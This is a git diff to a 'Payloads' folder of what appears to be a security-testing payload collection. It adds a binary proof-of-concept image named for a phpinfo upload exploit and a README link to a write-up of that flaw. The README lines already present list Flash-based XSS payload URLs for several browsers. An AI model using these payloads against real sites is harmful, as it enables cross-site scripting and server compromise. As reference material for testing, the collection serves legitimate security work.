diff --git a/Payloads/POC_img_phpinfo.gif b/Payloads/POC_img_phpinfo.gif
new file mode 100644
index 00000000000..67f5d453f42
Binary files /dev/null and b/Payloads/POC_img_phpinfo.gif differ
diff --git a/Payloads/README.md b/Payloads/README.md
index 910420bb2ca..121453deb29 100644
--- a/Payloads/README.md
+++ b/Payloads/README.md
@@ -40,4 +40,8 @@ Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.
 
 IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
 
-IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
\ No newline at end of file
+IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
+
+## POC_img_phpinfo File
+
+Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
\ No newline at end of file